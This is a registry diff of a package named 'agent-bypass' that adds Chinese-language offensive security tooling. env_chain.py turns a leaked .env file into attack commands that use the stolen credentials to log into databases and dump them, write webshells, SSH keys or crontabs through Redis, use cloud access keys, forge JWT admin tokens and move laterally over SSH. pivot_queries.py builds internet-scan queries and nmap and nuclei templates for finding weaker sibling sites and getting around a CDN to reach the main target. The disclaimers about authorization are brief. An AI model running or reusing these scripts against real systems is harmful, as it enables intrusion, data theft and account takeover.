agent-bypass 2.18.0 → 2.20.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,6 +9,8 @@
9
9
  - 常用:`rg -n 关键词 路径`(行号)· `rg -l`(只列文件)· `rg -i`(忽略大小写)· `rg -S`(智能大小写)· `rg --hidden -g '!node_modules'` · `rg -A/-B/-C`(上下文)· `rg -f patterns.txt`(模式文件)。
10
10
  - **fake-IP / TUN 环境**:`scripts/netdns.py`(DoH 真 IP)、`scripts/doh_resolve.sh`、`scripts/origin_trace.py`(源站溯源);细节见 `references/fake-ip-tun.md`。
11
11
  - **爆破**:字典/锁定/验证细节见 `references/bruteforce-playbook.md`。
12
+ - **打不动扩面**:`scripts/pivot_queries.py`(同 IP/C 段/证书/favicon/body/ASN → 7 引擎查询);方法论见 `references/search-engine-pivot.md`。
13
+ - **多路径攻击**:`.env`→`scripts/env_chain.py`(分类+链)、源站 IP→`origin_trace.py`、SSH/MySQL/Redis/云 AK 并行;见 `references/multi-path-attack.md`。
12
14
 
13
15
  ## A. 按文件类型和任务选工具
14
16
 
@@ -23,6 +25,8 @@
23
25
  | `web_static` HAR/JS/OpenAPI | rg、jq、Python JSON 解析 | 手工解析本地文件 | 接口清单、数据流、来源路径 |
24
26
  | `authorized_http` 已明确授权的测试系统 | curl、httpx、浏览器开发者工具 | 仅公开的被动检查 | 已批准的目标、范围、请求证据和退出条件 |
25
27
  | `forensics` 取证镜像/日志 | Volatility3、exiftool、hash 工具 | strings、标准库 | 证据哈希、时间线、分析环境 |
28
+ | `pivot` 同 IP/同簇资产扩散 | FOFA / Shodan / Quake / ZoomEye / Hunter / Censys / Netlas + `scripts/pivot_queries.py` | 手工查询 | 查询语法、命中列表、同源证据(证书/favicon/body/直连对比) |
29
+ | `multi_path` 多路径攻击 | `.env`→`scripts/env_chain.py`;源站→`origin_trace.py`;扩面→`pivot_queries.py`;SSH/MySQL/AWS CLI | 手工只读验证 | 凭据分类、只读验证命令、攻击图、命中证据 |
26
30
 
27
31
  ## B. 原始 scripts 的地位与已知缺口
28
32
 
@@ -0,0 +1,337 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """env_chain — .env / 配置泄漏 → 凭据分类 → 多路径攻击链生成(离线,只读)
4
+
5
+ 场景:拿到 .env / config / docker-compose / 备份配置后,快速识别里面有哪些凭据面
6
+ (MySQL/Redis/PostgreSQL/MongoDB、AWS/云 AK、JWT_SECRET/APP_KEY、SMTP、SSH),
7
+ 生成「只读验证 → 多路径链」的命令模板与攻击图。不联网、不写目标,命令默认脱敏。
8
+
9
+ 用法:
10
+ python3 env_chain.py .env
11
+ cat .env | python3 env_chain.py -
12
+ python3 env_chain.py .env --reveal # 输出含真实密钥的命令(谨慎,别贴日志)
13
+ python3 env_chain.py .env --json
14
+ python3 env_chain.py .env --ip 1.2.3.4 # 给 SSH 等命令补目标 IP
15
+ """
16
+ import json
17
+ import re
18
+ import sys
19
+ import urllib.parse
20
+
21
+ try:
22
+ import argsmini as argparse
23
+ except Exception:
24
+ import argparse # type: ignore
25
+
26
+ MASK = "***"
27
+
28
+ # 分类规则(按优先级从上到下)
29
+ RULES = [
30
+ ("db_url", re.compile(r"^(DATABASE_URL|DB_URL|MYSQL_URL|POSTGRES_URL|MONGO_URL|MONGODB_URL|REDIS_URL)$")),
31
+ ("mysql", re.compile(r"^(MYSQL|MARIADB)_|^(DB_HOST|DB_PORT|DB_USER|DB_USERNAME|DB_PASS|DB_PASSWORD|DB_NAME|DB_DATABASE)$")),
32
+ ("postgres", re.compile(r"^(POSTGRES|PG(HOST|PORT|USER|PASSWORD|DB))")),
33
+ ("mongo", re.compile(r"^(MONGO|MONGODB)_")),
34
+ ("redis", re.compile(r"^REDIS_")),
35
+ ("aws", re.compile(r"^(AWS_|S3_|BUCKET_|AMAZON_)")),
36
+ ("cloud", re.compile(r"^(ALIYUN|ALI_OSS|OSS_|TENCENT|COS_|AZURE|GCP|GOOGLE_)")),
37
+ ("secret", re.compile(r"^(JWT_SECRET|JWT_KEY|SECRET_KEY|SECRET|APP_KEY|APP_SECRET|SESSION_SECRET|API_SECRET|ENCRYPTION_KEY)$")),
38
+ ("smtp", re.compile(r"^(SMTP|MAIL|EMAIL)_|^(SMTP_HOST|SMTP_USER|SMTP_PASS|SMTP_PASSWORD)$")),
39
+ ("ssh", re.compile(r"SSH_|PRIVATE_KEY|ID_RSA")),
40
+ ("api_key", re.compile(r"^(GITHUB|GITLAB|STRIPE|SLACK|TELEGRAM|DINGTALK|WECHAT|ALIPAY|PAY)_")),
41
+ ]
42
+
43
+
44
+ def parse_env(text):
45
+ """解析 .env / key=value 配置 → dict(去注释、引号、export 前缀)。"""
46
+ out = {}
47
+ for raw in str(text or "").splitlines():
48
+ line = raw.strip()
49
+ if not line or line.startswith("#") or line.startswith(";"):
50
+ continue
51
+ line = re.sub(r"^export\s+", "", line)
52
+ if "=" not in line:
53
+ continue
54
+ key, _, val = line.partition("=")
55
+ key, val = key.strip(), val.strip()
56
+ if len(val) >= 2 and val[0] in "\"'" and val[-1] == val[0]:
57
+ val = val[1:-1]
58
+ if key:
59
+ out[key] = val
60
+ return out
61
+
62
+
63
+ def classify(key):
64
+ for group, rx in RULES:
65
+ if rx.search(key.upper()):
66
+ return group
67
+ return "other"
68
+
69
+
70
+ def _pick(env, names, default=""):
71
+ for n in names:
72
+ if env.get(n):
73
+ return env[n]
74
+ return default
75
+
76
+
77
+ def _parse_url(url):
78
+ """DATABASE_URL/REDIS_URL → dict(service, host, port, user, password, db)。"""
79
+ try:
80
+ u = urllib.parse.urlparse(url)
81
+ except Exception:
82
+ return None
83
+ schemes = {"mysql": 3306, "mariadb": 3306, "postgres": 5432, "postgresql": 5432,
84
+ "mongodb": 27017, "redis": 6379, "rediss": 6379}
85
+ scheme = (u.scheme or "").lower()
86
+ if scheme not in schemes:
87
+ return None
88
+ return {
89
+ "service": scheme,
90
+ "host": u.hostname or "",
91
+ "port": u.port or schemes[scheme],
92
+ "user": urllib.parse.unquote(u.username or ""),
93
+ "password": urllib.parse.unquote(u.password or ""),
94
+ "db": (u.path or "/").lstrip("/"),
95
+ }
96
+
97
+
98
+ def extract(env):
99
+ """从 env dict 提取服务凭据/密钥/云 AK/SMTP/SSH → 结构化 findings。"""
100
+ groups = {}
101
+ for k, v in env.items():
102
+ groups.setdefault(classify(k), {})[k] = v
103
+
104
+ services = []
105
+ # 1) URL 型(优先级最高)
106
+ for k in env:
107
+ if classify(k) == "db_url" and "://" in env[k]:
108
+ svc = _parse_url(env[k])
109
+ if svc:
110
+ svc["source"] = k
111
+ services.append(svc)
112
+ # 2) 分离字段型
113
+ mysql = {
114
+ "service": "mysql",
115
+ "host": _pick(env, ["MYSQL_HOST", "DB_HOST"]),
116
+ "port": int(_pick(env, ["MYSQL_PORT", "DB_PORT"], "3306") or 3306),
117
+ "user": _pick(env, ["MYSQL_USER", "MYSQL_USERNAME", "DB_USER", "DB_USERNAME"]),
118
+ "password": _pick(env, ["MYSQL_PASSWORD", "MYSQL_PASS", "DB_PASSWORD", "DB_PASS"]),
119
+ "db": _pick(env, ["MYSQL_DATABASE", "MYSQL_DB", "DB_NAME", "DB_DATABASE"]),
120
+ "source": "MYSQL_*/DB_*",
121
+ }
122
+ if mysql["host"] or mysql["user"] or mysql["password"]:
123
+ services.append(mysql)
124
+ pg = {
125
+ "service": "postgres",
126
+ "host": _pick(env, ["POSTGRES_HOST", "PGHOST"]),
127
+ "port": int(_pick(env, ["POSTGRES_PORT", "PGPORT"], "5432") or 5432),
128
+ "user": _pick(env, ["POSTGRES_USER", "PGUSER"]),
129
+ "password": _pick(env, ["POSTGRES_PASSWORD", "PGPASSWORD"]),
130
+ "db": _pick(env, ["POSTGRES_DB", "PGDATABASE"]),
131
+ "source": "POSTGRES_*/PG*",
132
+ }
133
+ if pg["host"] or pg["user"] or pg["password"]:
134
+ services.append(pg)
135
+ redis = {
136
+ "service": "redis",
137
+ "host": _pick(env, ["REDIS_HOST"]),
138
+ "port": int(_pick(env, ["REDIS_PORT"], "6379") or 6379),
139
+ "user": _pick(env, ["REDIS_USER"]),
140
+ "password": _pick(env, ["REDIS_PASSWORD", "REDIS_PASS"]),
141
+ "db": _pick(env, ["REDIS_DB"]),
142
+ "source": "REDIS_*",
143
+ }
144
+ if redis["host"] or redis["password"]:
145
+ services.append(redis)
146
+
147
+ # 去重
148
+ uniq, seen = [], set()
149
+ for s in services:
150
+ key = (s["service"], s["host"], s["port"], s["user"])
151
+ if key not in seen:
152
+ seen.add(key)
153
+ uniq.append(s)
154
+
155
+ aws = {}
156
+ if env.get("AWS_ACCESS_KEY_ID") or env.get("AWS_SECRET_ACCESS_KEY"):
157
+ aws = {
158
+ "access_key": env.get("AWS_ACCESS_KEY_ID", ""),
159
+ "secret_key": env.get("AWS_SECRET_ACCESS_KEY", ""),
160
+ "region": env.get("AWS_REGION", env.get("AWS_DEFAULT_REGION", "")),
161
+ "source": "AWS_*",
162
+ }
163
+
164
+ secrets = {k: v for k, v in env.items() if classify(k) == "secret"}
165
+ smtp = {k: v for k, v in env.items() if classify(k) == "smtp"}
166
+ ssh = {k: v for k, v in env.items() if classify(k) == "ssh"}
167
+ return {
168
+ "groups": {g: {k: (MASK if _sensitive(g) else v) for k, v in d.items()}
169
+ for g, d in groups.items()},
170
+ "services": uniq,
171
+ "aws": aws,
172
+ "secrets": secrets,
173
+ "smtp": smtp,
174
+ "ssh": ssh,
175
+ "raw_count": len(env),
176
+ }
177
+
178
+
179
+ def _sensitive(group):
180
+ return group in ("mysql", "postgres", "mongo", "redis", "aws", "cloud", "secret", "smtp", "ssh", "db_url", "api_key")
181
+
182
+
183
+ def _q(val):
184
+ if val is None or val == "":
185
+ return "<空>"
186
+ return str(val)
187
+
188
+
189
+ def build_chains(data, reveal=False, ip=""):
190
+ """生成多路径链:{path, from, target, verify(commands), next, risk}"""
191
+ def secret(v):
192
+ if reveal:
193
+ return _q(v)
194
+ return MASK if v else "<空>"
195
+
196
+ chains = []
197
+ host_hint = ip or "<HOST>"
198
+ for s in data["services"]:
199
+ host = s["host"] or host_hint
200
+ if s["service"] in ("mysql", "mariadb"):
201
+ cmd = ("mysql -h %s -P %s -u %s -p'%s' -e 'select version(), current_user(); show databases;'"
202
+ % (host, s["port"], _q(s["user"] or "root"), secret(s["password"])))
203
+ chains.append({
204
+ "path": ".env → MySQL 凭据 → 只读验证/拖库 → 同口令复用 SSH/面板",
205
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
206
+ "verify": cmd,
207
+ "next": "secure_file_priv 检查 → 读/写文件(授权内)→ 用户哈希离线 → 同口令横向",
208
+ "risk": "high" if s["password"] else "medium",
209
+ })
210
+ elif s["service"] in ("postgres", "postgresql"):
211
+ chains.append({
212
+ "path": ".env → PostgreSQL 凭据 → 只读验证 → 拖库/命令执行(授权内)",
213
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
214
+ "verify": "PGPASSWORD='%s' psql -h %s -p %s -U %s -d %s -c 'select version(), current_user;'"
215
+ % (secret(s["password"]), host, s["port"], _q(s["user"] or "postgres"), _q(s["db"] or "postgres")),
216
+ "next": "pg_read_file / COPY PROGRAM / 扩展提权;同口令复用",
217
+ "risk": "high" if s["password"] else "medium",
218
+ })
219
+ elif s["service"] == "redis":
220
+ chains.append({
221
+ "path": ".env → Redis 凭据 → 只读验证 → 写 shell/crontab/主从复制(授权内)",
222
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
223
+ "verify": "redis-cli -h %s -p %s%s ping" % (host, s["port"],
224
+ (" -a '%s'" % secret(s["password"])) if s["password"] else ""),
225
+ "next": "config get dir/dbfilename → 写 webshell/authorized_keys/crontab(写前备份)",
226
+ "risk": "high" if s["password"] else "medium",
227
+ })
228
+ elif s["service"] == "mongodb":
229
+ chains.append({
230
+ "path": ".env → MongoDB 凭据 → 只读验证/拖库",
231
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
232
+ "verify": "mongosh 'mongodb://%s:%s@%s:%s/%s' --eval 'db.runCommand({ping:1})'"
233
+ % (_q(s["user"]), secret(s["password"]), host, s["port"], _q(s["db"] or "")),
234
+ "next": "未授权/弱口令优先;只读集合导出",
235
+ "risk": "medium",
236
+ })
237
+
238
+ if data["aws"]:
239
+ chains.append({
240
+ "path": ".env → AWS AK → STS 验证 → S3/ECS/其他云资源(授权内)",
241
+ "from": data["aws"]["source"], "target": "aws",
242
+ "verify": "AWS_ACCESS_KEY_ID='%s' AWS_SECRET_ACCESS_KEY='%s' AWS_DEFAULT_REGION='%s' aws sts get-caller-identity"
243
+ % (secret(data["aws"]["access_key"]), secret(data["aws"]["secret_key"]), _q(data["aws"]["region"])),
244
+ "next": "aws s3 ls;按权限枚举 S3/ECR/ECS/SSM;只读验证 → 影响评估",
245
+ "risk": "high",
246
+ })
247
+ if data["secrets"]:
248
+ chains.append({
249
+ "path": ".env → JWT_SECRET/SECRET_KEY → 伪造 token / 会话签名",
250
+ "from": "SECRET_*", "target": "web",
251
+ "verify": "# 用真实 token 做 HS256 验签复现(离线):hashcat -m 16500 token.txt 或 jwt_tool 验证",
252
+ "next": "伪造管理员 token 打后台(授权内);Laravel APP_KEY 泄漏 → 反序列化/RCE 风险",
253
+ "risk": "high",
254
+ })
255
+ if data["smtp"]:
256
+ chains.append({
257
+ "path": ".env → SMTP 凭据 → 发信能力验证(授权内)",
258
+ "from": "SMTP_*", "target": "smtp",
259
+ "verify": "# python3 smtplib 登录测试(只发给自己);注意反垃圾/发信限额",
260
+ "next": "同凭据试其他系统邮箱复用到后台找回/通知面",
261
+ "risk": "low",
262
+ })
263
+ if data["ssh"]:
264
+ chains.append({
265
+ "path": ".env/备份 → SSH 私钥/用户 → SSH 登录 → 内网横向",
266
+ "from": "SSH_*/PRIVATE_KEY", "target": "%s:22" % host_hint,
267
+ "verify": "ssh -i <key> -o BatchMode=yes -o ConnectTimeout=5 %s 'id; hostname'"
268
+ % _q(data["ssh"].get("SSH_USER") or "<user>"),
269
+ "next": "authorized_keys/端口转发/内网 DB 暴露;私钥复用其他主机",
270
+ "risk": "high",
271
+ })
272
+ return chains
273
+ def main(argv=None):
274
+ ap = argparse.ArgumentParser(description=".env/配置泄漏 → 凭据分类 → 多路径攻击链(离线只读)")
275
+ ap.add_argument("file", nargs="?", help=".env 文件路径;'-' 或省略读 stdin")
276
+ ap.add_argument("--reveal", action="store_true", help="输出含真实密钥的命令(默认脱敏)")
277
+ ap.add_argument("--ip", default="", help="补充目标 IP(SSH/未写 host 的服务命令用)")
278
+ ap.add_argument("--json", action="store_true")
279
+ a = ap.parse_args(argv)
280
+
281
+ if a.file in (None, "-"):
282
+ text = sys.stdin.read()
283
+ src = "stdin"
284
+ else:
285
+ try:
286
+ with open(a.file, encoding="utf-8", errors="ignore") as f:
287
+ text = f.read()
288
+ src = a.file
289
+ except OSError as e:
290
+ print("[错误] 读取失败: %s" % e, file=sys.stderr)
291
+ return 2
292
+ env = parse_env(text)
293
+ if not env:
294
+ print("[错误] 未解析到任何 key=value(不是 .env/配置文件?)", file=sys.stderr)
295
+ return 2
296
+ data = extract(env)
297
+ chains = build_chains(data, reveal=a.reveal, ip=a.ip)
298
+ services_out = []
299
+ for s in data["services"]:
300
+ s2 = dict(s)
301
+ if not a.reveal:
302
+ s2["password"] = MASK if s2.get("password") else ""
303
+ services_out.append(s2)
304
+ payload = {"source": src, "env_keys": data["raw_count"], "groups": data["groups"],
305
+ "services": services_out,
306
+ "aws": {k: (v if a.reveal or k == "source" else MASK) for k, v in data["aws"].items()} if data["aws"] else {},
307
+ "chains": chains,
308
+ "note": "命令默认脱敏;--reveal 输出真实值。只读验证优先,写操作先备份并确认授权范围。"}
309
+ if a.json:
310
+ print(json.dumps(payload, ensure_ascii=False, indent=2))
311
+ return 0
312
+
313
+ print("# 来源: %s | 解析 %d 个键" % (src, data["raw_count"]))
314
+ print("\n## 识别到的凭据面")
315
+ for g, d in data["groups"].items():
316
+ if g in ("other",) or not d:
317
+ continue
318
+ print("- %-9s %s" % (g, ", ".join(sorted(d)[:8]) + (" ..." if len(d) > 8 else "")))
319
+ if data["services"]:
320
+ print("\n## 服务凭据")
321
+ for s in data["services"]:
322
+ print("- %-8s %s:%s user=%s db=%s(来源 %s)" % (
323
+ s["service"], s["host"] or "<HOST>", s["port"], s["user"] or "-", s["db"] or "-", s["source"]))
324
+ print("\n## 多路径链(只读验证优先)")
325
+ for i, c in enumerate(chains, 1):
326
+ print("\n[%d] %s" % (i, c["path"]))
327
+ print(" 目标: %s | 风险: %s" % (c["target"], c["risk"]))
328
+ print(" 验证: %s" % c["verify"])
329
+ print(" 下一步: %s" % c["next"])
330
+ if not chains:
331
+ print("- 未识别到可直接利用的凭据(可能只有普通配置项)")
332
+ print("\n# 范围纪律:只对授权资产验证;写操作前备份;密钥勿贴日志/报告。")
333
+ return 0
334
+
335
+
336
+ if __name__ == "__main__":
337
+ sys.exit(main())
@@ -0,0 +1,321 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """pivot_queries — 资产扩散/同 IP 旁站查询生成器(FOFA / Shodan / Quake / ZoomEye / Hunter / Censys / Netlas)
4
+
5
+ 场景:主站打不动(CDN/WAF/无洞/加固严),用测绘引擎按「同 IP、C 段、同证书、同 favicon、
6
+ 同 body、同 title、同 ASN、同端口/指纹」反查同簇资产,找同系统/同模板的兄弟站,先打最弱一环,
7
+ 再凭共享凭据/共享 DB/共享存储/反代配置回打主站。
8
+
9
+ 本工具只生成查询与扫描命令模板,不联网(favicon 若给 URL 才下载一次);只读。
10
+ 先确认关系再打:同 IP 不等于同资产(CDN 共享 IP 会误伤无关站点),必须多维交叉 + 授权范围内。
11
+
12
+ 用法:
13
+ python3 pivot_queries.py --domain example.com --ip 1.2.3.4
14
+ python3 pivot_queries.py --domain example.com --favicon https://example.com/favicon.ico
15
+ python3 pivot_queries.py --domain example.com --cert example.com --asn AS13335 --json
16
+ python3 pivot_queries.py --domain example.com --title "Example" --body "unique-snippet"
17
+ """
18
+ import base64
19
+ import hashlib
20
+ import json
21
+ import os
22
+ import re
23
+ import sys
24
+ import urllib.request
25
+
26
+ try:
27
+ import argsmini as argparse
28
+ except Exception: # 直接运行/单测环境兜底
29
+ import argparse # type: ignore
30
+
31
+ UA = "Mozilla/5.0 (compatible; pivot-queries/1.0)"
32
+ ENGINES = ("fofa", "shodan", "quake", "zoomeye", "hunter", "censys", "netlas")
33
+
34
+
35
+ # ---------------------------------------------------------------- 哈希
36
+
37
+ def murmur3_32(data, seed=0):
38
+ """MurmurHash3 x86 32-bit(与 mmh3.hash 一致,返回 signed int)。"""
39
+ data = bytes(data)
40
+ c1, c2 = 0xCC9E2D51, 0x1B873593
41
+ length = len(data)
42
+ h1 = seed
43
+ end = length - (length % 4)
44
+ for i in range(0, end, 4):
45
+ k1 = int.from_bytes(data[i:i + 4], "little")
46
+ k1 = (k1 * c1) & 0xFFFFFFFF
47
+ k1 = ((k1 << 15) | (k1 >> 17)) & 0xFFFFFFFF
48
+ k1 = (k1 * c2) & 0xFFFFFFFF
49
+ h1 ^= k1
50
+ h1 = ((h1 << 13) | (h1 >> 19)) & 0xFFFFFFFF
51
+ h1 = (h1 * 5 + 0xE6546B64) & 0xFFFFFFFF
52
+ tail = data[end:]
53
+ k1 = 0
54
+ if len(tail) >= 3:
55
+ k1 ^= tail[2] << 16
56
+ if len(tail) >= 2:
57
+ k1 ^= tail[1] << 8
58
+ if len(tail) >= 1:
59
+ k1 ^= tail[0]
60
+ k1 = (k1 * c1) & 0xFFFFFFFF
61
+ k1 = ((k1 << 15) | (k1 >> 17)) & 0xFFFFFFFF
62
+ k1 = (k1 * c2) & 0xFFFFFFFF
63
+ h1 ^= k1
64
+ h1 ^= length
65
+ h1 ^= h1 >> 16
66
+ h1 = (h1 * 0x85EBCA6B) & 0xFFFFFFFF
67
+ h1 ^= h1 >> 13
68
+ h1 = (h1 * 0xC2B2AE35) & 0xFFFFFFFF
69
+ h1 ^= h1 >> 16
70
+ return h1 - 0x100000000 if h1 >= 0x80000000 else h1
71
+
72
+
73
+ def favicon_hashes(data):
74
+ """favicon → (FOFA icon_hash, 备用 raw mmh3)。
75
+
76
+ FOFA/Shodan 主流口径:mmh3(base64(favicon)) 的 signed 32-bit;
77
+ 部分实现/新版引擎可能用原始字节,故同时给出 raw 值备用。
78
+ """
79
+ b64 = base64.b64encode(bytes(data))
80
+ return murmur3_32(b64), murmur3_32(bytes(data))
81
+
82
+
83
+ def fetch_favicon(url, timeout=8.0):
84
+ req = urllib.request.Request(url, headers={"user-agent": UA})
85
+ with urllib.request.urlopen(req, timeout=timeout) as r:
86
+ return r.read(1 << 20)
87
+
88
+
89
+ def favicon_from_arg(arg):
90
+ if re.match(r"^https?://", arg or "", re.I):
91
+ return fetch_favicon(arg)
92
+ with open(arg, "rb") as f:
93
+ return f.read(1 << 20)
94
+
95
+
96
+ # ---------------------------------------------------------------- 查询生成
97
+
98
+ def build_queries(info):
99
+ """按输入生成各引擎查询(列表),返回 {engine: [query...]}。"""
100
+ ip = (info.get("ip") or "").strip()
101
+ cidr = (info.get("cidr") or "").strip()
102
+ domain = (info.get("domain") or "").strip()
103
+ cert = (info.get("cert") or "").strip()
104
+ title = (info.get("title") or "").strip()
105
+ body = (info.get("body") or "").strip()
106
+ asn = (info.get("asn") or "").strip().upper().replace("AS", "")
107
+ port = str(info.get("port") or "").strip()
108
+ icon = info.get("icon_hash")
109
+ icon_raw = info.get("icon_hash_raw")
110
+ out = {}
111
+
112
+ fofa = []
113
+ if domain:
114
+ fofa.append('domain="%s"' % domain)
115
+ if ip:
116
+ fofa.append('ip="%s"' % ip)
117
+ if cidr:
118
+ fofa.append('ip="%s"' % cidr)
119
+ if cert:
120
+ fofa.append('cert="%s"' % cert)
121
+ if icon is not None:
122
+ fofa.append('icon_hash="%s"' % icon)
123
+ if body:
124
+ fofa.append('body="%s"' % body)
125
+ if title:
126
+ fofa.append('title="%s"' % title)
127
+ if asn:
128
+ fofa.append('asn="%s"' % asn)
129
+ if port:
130
+ fofa.append('port="%s"' % port)
131
+ out["fofa"] = fofa
132
+
133
+ shodan = []
134
+ if ip:
135
+ shodan.append("ip:%s" % ip)
136
+ if cidr:
137
+ shodan.append("net:%s" % cidr)
138
+ if domain:
139
+ shodan.append("hostname:%s" % domain)
140
+ if cert:
141
+ shodan.append('ssl.cert.subject.cn:"%s"' % cert)
142
+ if icon is not None:
143
+ shodan.append("http.favicon.hash:%s" % icon)
144
+ if title:
145
+ shodan.append('http.title:"%s"' % title)
146
+ if body:
147
+ shodan.append('http.html:"%s"' % body)
148
+ if asn:
149
+ shodan.append("asn:AS%s" % asn)
150
+ if port:
151
+ shodan.append("port:%s" % port)
152
+ out["shodan"] = shodan
153
+
154
+ quake = []
155
+ if ip:
156
+ quake.append('ip:"%s"' % ip)
157
+ if cidr:
158
+ quake.append('ip:"%s"' % cidr)
159
+ if domain:
160
+ quake.append('domain:"%s"' % domain)
161
+ if cert:
162
+ quake.append('cert:"%s"' % cert)
163
+ if title:
164
+ quake.append('title:"%s"' % title)
165
+ if body:
166
+ quake.append('body:"%s"' % body)
167
+ if icon is not None:
168
+ quake.append('favicon:"%s"' % icon)
169
+ if port:
170
+ quake.append('port:"%s"' % port)
171
+ out["quake"] = quake
172
+
173
+ zoomeye = []
174
+ if ip:
175
+ zoomeye.append("ip:%s" % ip)
176
+ if cidr:
177
+ zoomeye.append("cidr:%s" % cidr)
178
+ if cert:
179
+ zoomeye.append("ssl.cert:%s" % cert)
180
+ if title:
181
+ zoomeye.append("title:%s" % title)
182
+ if icon is not None:
183
+ zoomeye.append("iconhash:%s" % icon)
184
+ if port:
185
+ zoomeye.append("port:%s" % port)
186
+ out["zoomeye"] = zoomeye
187
+
188
+ hunter = []
189
+ if ip:
190
+ hunter.append('ip="%s"' % ip)
191
+ if cidr:
192
+ hunter.append('ip="%s"' % cidr)
193
+ if domain:
194
+ hunter.append('domain="%s"' % domain)
195
+ if cert:
196
+ hunter.append('cert="%s"' % cert)
197
+ if title:
198
+ hunter.append('web.title="%s"' % title)
199
+ if body:
200
+ hunter.append('web.body="%s"' % body)
201
+ if port:
202
+ hunter.append('port="%s"' % port)
203
+ out["hunter"] = hunter
204
+
205
+ censys = []
206
+ if ip:
207
+ censys.append("ip: %s" % ip)
208
+ if cidr:
209
+ censys.append("ip: %s" % cidr)
210
+ if asn:
211
+ censys.append("autonomous_system.asn: %s" % asn)
212
+ if cert:
213
+ censys.append('services.tls.certificates.leaf_data.subject.common_name: "%s"' % cert)
214
+ if title:
215
+ censys.append('services.http.response.html_title: "%s"' % title)
216
+ out["censys"] = censys
217
+
218
+ netlas = []
219
+ if ip:
220
+ netlas.append("ip:%s" % ip)
221
+ if domain:
222
+ netlas.append("domain:%s" % domain)
223
+ if cert:
224
+ netlas.append("cert:%s" % cert)
225
+ if icon is not None:
226
+ netlas.append("favicon.hash:%s" % icon)
227
+ out["netlas"] = netlas
228
+
229
+ return out
230
+
231
+
232
+ def build_scan_templates(info):
233
+ """后续扫描/验证命令模板(只读,需操作员自行确认授权)。"""
234
+ ip = (info.get("ip") or "<IP>").strip()
235
+ domain = (info.get("domain") or "<DOMAIN>").strip()
236
+ port = str(info.get("port") or "").strip()
237
+ pflag = port if port else "-"
238
+ return [
239
+ "# 端口与服务(-n 禁解析,避免 fake-IP;-Pn 跳主机发现)",
240
+ "nmap -n -Pn -sV -p- --min-rate 2000 %s" % ip,
241
+ "",
242
+ "# 同 IP 多 vhost 枚举(Host 头换绑,对比状态码/长度/标题)",
243
+ "for h in $(cat subs.txt); do "
244
+ "curl -sk -o /dev/null -w \"%%{http_code} %%{size_download} $h\\n\" -H \"Host: $h\" http://%s/; done" % ip,
245
+ "",
246
+ "# 指定端口 + SNI 验证(绕过 CDN/fake-IP 直接打真实 IP)",
247
+ "curl -sk --resolve %s:%s:%s https://%s/" % (domain, pflag, ip, domain),
248
+ "",
249
+ "# 指纹/CVE/面板/默认口令(按指纹选模板;先 -severity 降噪)",
250
+ "nuclei -l urls.txt -tags cve -severity critical,high -stats",
251
+ "nuclei -u https://%s -tags exposed-panels,default-logins,tech" % domain,
252
+ "",
253
+ "# 同簇扩散:把命中的兄弟站加入 urls.txt,凭据/接口交叉复用后回打主站",
254
+ ]
255
+
256
+
257
+ # ---------------------------------------------------------------- 入口
258
+
259
+ def collect_info(a):
260
+ info = {
261
+ "domain": getattr(a, "domain", None),
262
+ "ip": getattr(a, "ip", None),
263
+ "cidr": getattr(a, "cidr", None),
264
+ "cert": getattr(a, "cert", None),
265
+ "title": getattr(a, "title", None),
266
+ "body": getattr(a, "body", None),
267
+ "asn": getattr(a, "asn", None),
268
+ "port": getattr(a, "port", None),
269
+ }
270
+ if getattr(a, "favicon", None):
271
+ data = favicon_from_arg(a.favicon)
272
+ h_b64, h_raw = favicon_hashes(data)
273
+ info["icon_hash"] = h_b64
274
+ info["icon_hash_raw"] = h_raw
275
+ info["icon_md5"] = hashlib.md5(data).hexdigest()
276
+ return info
277
+
278
+
279
+ def main(argv=None):
280
+ ap = argparse.ArgumentParser(description="资产扩散/同 IP 旁站查询生成器(离线,只读)")
281
+ ap.add_argument("--domain")
282
+ ap.add_argument("--ip")
283
+ ap.add_argument("--cidr")
284
+ ap.add_argument("--cert")
285
+ ap.add_argument("--title")
286
+ ap.add_argument("--body")
287
+ ap.add_argument("--asn", help="AS 号,可带或不带 AS 前缀")
288
+ ap.add_argument("--port", type=int)
289
+ ap.add_argument("--favicon", help="favicon URL 或本地文件路径(计算 icon_hash)")
290
+ ap.add_argument("--json", action="store_true")
291
+ a = ap.parse_args(argv)
292
+
293
+ if not any([a.domain, a.ip, a.cidr, a.cert, a.title, a.body, a.asn, a.favicon]):
294
+ print("[错误] 至少给一个输入:--domain/--ip/--cidr/--cert/--title/--body/--asn/--favicon", file=sys.stderr)
295
+ return 2
296
+ info = collect_info(a)
297
+ queries = build_queries(info)
298
+ templates = build_scan_templates(info)
299
+ payload = {"input": info, "queries": queries, "scan_templates": templates}
300
+
301
+ if a.json:
302
+ print(json.dumps(payload, ensure_ascii=False, indent=2))
303
+ return 0
304
+
305
+ print("# 输入: " + ", ".join("%s=%s" % (k, v) for k, v in info.items() if v not in (None, "")))
306
+ for engine in ENGINES:
307
+ qs = [q for q in queries.get(engine, []) if q]
308
+ if not qs:
309
+ continue
310
+ print("\n## %s" % engine.upper())
311
+ for q in qs:
312
+ print(q)
313
+ print("\n## 后续扫描/验证模板")
314
+ for line in templates:
315
+ print(line)
316
+ print("\n# 先多维交叉确认「同簇/同源」再打;CDN 共享 IP 会误伤无关站点;只在授权范围内扩散。")
317
+ return 0
318
+
319
+
320
+ if __name__ == "__main__":
321
+ sys.exit(main())